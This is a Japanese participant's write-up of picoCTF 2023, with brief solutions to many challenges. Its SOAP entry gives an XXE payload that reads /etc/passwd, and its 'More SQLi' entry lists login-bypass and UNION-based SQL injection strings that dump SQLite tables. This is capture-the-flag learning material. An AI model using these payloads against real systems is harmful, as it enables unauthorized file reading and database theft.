picoCTF2023 writeup
結果
1649位/6924位でした。
各カテゴリの回答数はこんな感じ。
所感
picoGym始めてから数か月経ったけど、そこまで解けるようになった実感はないですね。
まだもともとの知識で戦ってる感じがあります。
問題を通していろんな技術を吸収したいけど、もっと体系的に勉強しないと身につかない気がしててモヤモヤ。
惜しい問題は数個あったので、次回はもっと解けるように頑張ります
writeup
chrono
crontab -lかと思ったらなかった
cronの定義ファイルを見ないといけない /etc/crontabが正解ファイル
hideme
flag.pngが与えられる
zipの中にflagが入ってる
MatchTheRegex
正規表現てかいてあったから、
.*
とか^.*$
とかで全マッチさせるかと思ったら違った
// ^p.....F!?
.
が任意の1文字だから、あてはまるものを考えてねってことだったのかな…
真意が不明の問題だった
money-ware
ぐぐったら出てくる
PcapPoisoning
wiresharkで開いて探せばある
Permissions
悩んだが結局ファイル探しするだけだった
ホームフォルダは特に何もないので、ルートに移動する
cd /
ls -l
で見れる権限のあるフォルダが絞られる
cd challenge
vim metadata.json
の中にフラグあり
ReadMyCert
opensslでcrtを開く
>openssl req -noout -text -in readmycert.csr
コモンネームが答え
Subject: CN = picoCTF{read_mycert_96d48a46}, name = ctfPlayer
Ready Gladiator 0
わけわからんまま解いてしまった
Corewarsというゲームがあるらしく、redcodeというものでプレイヤーの動作を決めるらしい
全試合負けろというお題だったが、mov 0,0に書き換えたらできた。ようわからん
repetitions
Base64で6回ほどデコードする
Reverse
stirlingで開くとある
rotation
ROT13でずらしてくだけ
Rules 2023
探すだけ
Safe Opener 2
ghidraでデコンパイルする
SOAP
SOAPの外部エンティティ攻撃をしかける。
wikipediaに載っていたコードをそのまま書いたらできた
<data><id/></data>
は実際の通信を参考に
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxeattack SYSTEM "file:///etc/passwd">]><data><ID>&xxeattack;</ID></data>
timer
apkファイルは実態はzipなので解凍する
AndroidManifest.xmlの中に書いてある
two-sum
2つの値の和をオーバーフローさせる
やみくもに大きな値をいれてももともとがオーバーフローしちゃうからだめ
intが4バイトなので、
1つ1つは2147483647
以下で、 2つの数字の和が2147483647
以上になるようにする
大学の授業でありそう
who is it
メールのヘッダーを確認すると、 173.249.33.206が怪しそう
whoisで検索する
personが答え
More SQLi
ログイン
pass' OR '1'='1'--
テーブル名一覧
問題タイトルより、SQLiteっぽいので、SQLiteのDB一覧を表示させる
' OR '1'='1' UNION SELECT 1,2,3 FROM sqlite_master --
' OR '1'='1' UNION SELECT name,2,3 FROM sqlite_master --
テーブル名一覧は取得できた
' OR '1'='1' UNION ALL select * FROM hints --
' OR '1'='1' UNION ALL select * FROM more_table --
' OR '1'='1' UNION ALL select * FROM offices --
' OR '1'='1' UNION ALL select * FROM sqlite_autoindex_users_1 --
' OR '1'='1' UNION ALL select * FROM users --
' OR '1'='1' UNION sql from sqlite_master where type='table' and name='table_name' --
usersにadminが引っ掛かったが、正解じゃなかった
こっちのほうがたくさん情報とれそう
' OR '1'='1' UNION SELECT sql,2,3 FROM sqlite_master --
more_tableの中にflag列があるので、表示してみる
' OR '1'='1' UNION SELECT flag,2,3 FROM more_table --
あった!!
結果的に3列のテーブルがusersしかなかったので、UNION ALL SELECT
ではusersテーブルしか表示されなかったみたい。
参考
No way out
解けてうれしかったやつ
普通にゲームが始まる。
大きな旗のあたりが怪しそうだが行けない
unity製なのでunityのデコンパイルをする
dnSpy.exeを使う
dnSpyにpico_Data/Managed/Assenbly-CSharp.dll
を食わせるとデコンパイルできる
PlayerControllerクラスに、プレイヤーの動きの制御が書いてありそう
34行目に落下時の重力制御が書いてある
ここをいじる
ジャンプの条件(51行目あたり)もいじるとジャンプボタン押すだけで宙に浮き続けられる
これで旗に触れればフラグゲット
Ready Gladiator 1
またまたcorewarsの問題
今度は勝つことを求められている
corewars redcode beginner docs
でググったら出てきたサイトのコードをそのままコピペしたら勝てた
Discussion